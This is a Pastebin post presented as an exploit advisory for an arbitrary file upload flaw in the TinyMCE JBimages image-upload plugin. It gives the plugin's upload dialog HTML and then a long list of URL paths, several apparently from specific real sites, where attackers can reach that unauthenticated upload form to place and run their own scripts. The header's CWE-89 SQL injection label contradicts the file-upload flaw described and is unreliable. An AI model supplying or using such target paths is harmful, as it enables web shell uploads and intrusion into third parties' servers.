API tools faq
paste
Advertisement
KingSkrupellos

TinyMCE JBimages Plugin 3.x JustBoilMe Arbitrary File Upload

KingSkrupellos
Feb 13th, 2019
513
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.93 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : TinyMCE JBimages Plugin 3.x JustBoilMe Arbitrary File Upload
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : justboil.marketto.ru ~ tiny.cloud
  8. # Software Download Link : github.com/28harishkumar/blog/tree/master/public/js/tinymce
  9. # Software Information Link : tiny.cloud/docs/plugins/
  10. # Software Affected Version : 3.x /4.x / 5.x and Free Version
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : High
  14. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  15. Special Elements used in an SQL Command ('SQL Injection') ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ####################################################################
  21.  
  22. # Description about Software :
  23. ***************************
  24. One Click Image Upload for TinyMCE JBimages Plugin Version 5 and previous versions.
  25.  
  26. JustBoil.me Images is a simple, elegant image upload plugin for TinyMCE.
  27.  
  28. It is free, opensource and licensed under Creative Commons Attribution 3.0 Unported License.
  29.  
  30. ####################################################################
  31.  
  32. # Impact :
  33. ***********
  34. TinyMCE JBimages Plugin is prone to a vulnerability that lets attackers upload arbitrary files
  35.  
  36. it fails to adequately sanitize user-supplied input.
  37.  
  38. An attacker can exploit this vulnerability to upload arbitrary code and execute it
  39.  
  40. in the context of the webserver process. This may facilitate unauthorized access
  41.  
  42. or privilege escalation; other attacks are also possible.
  43.  
  44. Remote attackers can use browsers to exploit and they can request target sites via URL.
  45.  
  46. This issue may allow attackers to place malicious scripts on a server, which can lead to various attacks.
  47.  
  48. ####################################################################
  49.  
  50. # Vulnerable Source Code :
  51. ************************
  52. <!DOCTYPE html>
  53. <html lang="en">
  54. <head>
  55. <meta charset="utf-8">
  56. <title>Upload an image</title>
  57. <script type="text/javascript" src="js/dialog-v4.js"></script>
  58. <link href="css/dialog-v4.css" rel="stylesheet" type="text/css">
  59. </head>
  60. <body>
  61.  
  62. <form class="form-inline" id="upl" name="upl" action="ci/index.php?upload/english" method="post" enctype="multipart/form-data" target="upload_target" onsubmit="jbImagesDialog.inProgress();">
  63.  
  64. <div id="upload_in_progress" class="upload_infobar"><img src="img/spinner.gif" width="16" height="16" class="spinner">Upload in progress&hellip; <div id="upload_additional_info"></div></div>
  65. <div id="upload_infobar" class="upload_infobar"></div>
  66.  
  67. <p id="upload_form_container">
  68. <input id="uploader" name="userfile" type="file" class="jbFileBox" onChange="document.upl.submit(); jbImagesDialog.inProgress();">
  69. </p>
  70.  
  71. <p id="the_plugin_name"><a href="http://justboil.me/" target="_blank" title="JustBoil.me &mdash; a TinyMCE Images Upload Plugin">JustBoil.me Images Plugin</a></p>
  72.  
  73. </form>
  74.  
  75. <iframe id="upload_target" name="upload_target" src="ci/index.php?blank"></iframe>
  76.  
  77. </body>
  78. </html>
  79.  
  80. # Arbitrary File Upload Exploits :
  81. ****************************
  82. /tinymce/plugins/jbimages/dialog.htm
  83.  
  84. /admin/includes/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  85.  
  86. /Administration/Content/tinymce/plugins/jbimages/dialog-v4.htm
  87.  
  88. /js/tinymce/plugins/jbimages/dialog-v4.htm
  89.  
  90. /live/_painel/textare/tinymce/plugins/jbimages/dialog-v4.htm
  91.  
  92. /scripts/tinymce/plugins/jbimages/dialog-v4.htm
  93.  
  94. /vendor/tinymce/plugins/jbimages/dialog-v4.htm
  95.  
  96. /user_data/tinymce/plugins/jbimages/dialog-v4.htm
  97.  
  98. /adm/sistema/aplicativo/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  99.  
  100. /app/webroot/js/tinymce/plugins/jbimages/dialog-v4.htm
  101.  
  102. /main/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  103.  
  104. /assets/plugins-new/tinymce/plugins/jbimages/dialog-v4.htm
  105.  
  106. /media/tinymce/plugins/jbimages/dialog-v4.htm
  107.  
  108. /site/public/scripts/tinymce/plugins/jbimages/dialog-v4.htm
  109.  
  110. /king-admin/tinymce/plugins/jbimages/dialog-v4.htm
  111.  
  112. /assets/js/tinymce/plugins/jbimages/dialog-v4.htm
  113.  
  114. /assets/frontend/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  115.  
  116. /assets/includes/tinymce/plugins/jbimages/dialog-v4.htm
  117.  
  118. /lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/jbimages/dialog.htm
  119.  
  120. /ojs/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/jbimages/dialog.htm
  121.  
  122. /ojsinvestigacion/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/jbimages/dialog.htm
  123.  
  124. /revista/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/jbimages/dialog.htm
  125.  
  126. /themes/admin/vendors/bower_components/tinymce/plugins/jbimages/dialog-v4.htm
  127.  
  128. /wp-content/themes/career-grooms/assets/js/tinymce/plugins/jbimages/dialog-v4.htm
  129.  
  130. /wp-content/plugins/Soci_Traffic_Pro/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  131.  
  132. /static/admin/plugin/tinymce/plugins/jbimages/dialog-v4.htm
  133.  
  134. /extras/admin/js/tiny_mce/plugins/jbimages/dialog.htm
  135.  
  136. /tinymce/plugins/jbimages/dialog-v4.htm
  137.  
  138. /system/js/libs/tiny_mce/plugins/jbimages/dialog.htm
  139.  
  140. /ressources/js/tinymce/plugins/jbimages/dialog-v4.htm
  141.  
  142. /admin.[DOMAIN-ADRESS-HERE].com/app/template/js/tinymce/plugins/jbimages/dialog-v4.htm
  143.  
  144. /data/control/js/tinymce/plugins/jbimages/dialog-v4.htm
  145.  
  146. /js/vendor/tinymce/plugins/jbimages/dialog-v4.htm
  147.  
  148. /text_editor/jscripts/tiny_mce/plugins/jbimages/dialog.htm
  149.  
  150. /public/js/tiny_mce/plugins/jbimages/dialog.htm
  151.  
  152. /cms/assets/js/tiny_mce/plugins/jbimages/dialog.htm
  153.  
  154. /assets/bower_components/tinymce/plugins/jbimages/dialog-v4.htm
  155.  
  156. /content/admin/javascript/tinymce/plugins/jbimages/
  157.  
  158. /preview/assets/admin/tinymce/plugins/jbimages/dialog-v4.htm
  159.  
  160. /content/tinymce/plugins/jbimages/dialog-v4.htm
  161.  
  162. /public/webroot/js/tinymce/plugins/jbimages/dialog-v4.htm
  163.  
  164. /vendor/tinymce/plugins/jbimages/dialog-v4.htm
  165.  
  166. /sapred/bibliotecas/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  167.  
  168. /assets/backend/tinymce/plugins/jbimages/dialog-v4.htm
  169.  
  170. /media/tinymce/plugins/jbimages/dialog-v4.htm
  171.  
  172. /loja/app/webroot/js/tinymce/plugins/jbimages/dialog-v4.htm
  173.  
  174. /httpdocs-bak/httpdocs/tinymce/plugins/jbimages/dialog-v4.htm
  175.  
  176. /nextgest/assets/js/tinymce/plugins/jbimages/dialog-v4.htm
  177.  
  178. /assets/tinymce/plugins/jbimages/dialog-v4.htm
  179.  
  180. /public/content/tinymce/plugins/jbimages/dialog-v4.htm
  181.  
  182. /apps/ownnote/js/tinymce/plugins/jbimages/dialog-v4.htm
  183.  
  184. /common/admin/js/tinymce/plugins/jbimages/dialog-v4.htm
  185.  
  186. /socialDev1/externals/tinymce/plugins/jbimages/dialog-v4.htm
  187.  
  188. /kutaibarat/js/tinymce/plugins/jbimages/dialog-v4.htm
  189.  
  190. /v02/assets/js/tinymce/plugins/jbimages/dialog-v4.htm
  191.  
  192. /Lukas/js/tinymce/plugins/jbimages/dialog-v4.htm
  193.  
  194. /Lukas/js/tinymce/plugins/jbimages/dialog.htm
  195.  
  196. /3adminp/js/tinymce/plugins/jbimages/dialog-v4.htm
  197.  
  198. /content/tinymce/plugins/jbimages/dialog-v4.htm
  199.  
  200. /view/js/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  201.  
  202. /ieee-cis/assets/tinymce/plugins/jbimages/dialog-v4.htm
  203.  
  204. /resources_xt/FW/scripts/tinymce-4.2.6/plugins/jbimages/dialog-v4.htm
  205.  
  206. /store/lib/tinymce/jscripts/tiny_mce/plugins/jbimages/dialog-v4.htm
  207.  
  208. /wp-includes/js/tinymce/plugins/jbimages/dialog-v4.htm
  209.  
  210. /engine/application/views/admin/template/resources/js/tinymce/plugins/jbimages/dialog-v4.htm
  211.  
  212. /w3skills/editor/plugins/jbimages/dialog-v4.htm
  213.  
  214. /web/utils/templates/tinymce/js/tinymce/plugins/jbimages/dialog-v4.htm
  215.  
  216. /plugins/tiny_mce/plugins/jbimages/dialog-v4.htm
  217.  
  218. /application/views/admin/assets/js/TinyMCE/tiny_mce/plugins/jbimages/dialog.htm
  219.  
  220. /site/assets/grocery_crud/texteditor/tiny_mce/plugins/jbimages/dialog-v4.htm
  221.  
  222. /site/assets/grocery_crud/texteditor/tiny_mce/plugins/jbimages/dialog.htm
  223.  
  224. /App_Themes/Homevestors/Libs/js/tinymce4.7/plugins/jbimages/dialog.htm
  225.  
  226. /admin/inc/tiny_mce/plugins/jbimages/dialog.htm
  227.  
  228. ####################################################################
  229.  
  230. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  231.  
  232. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!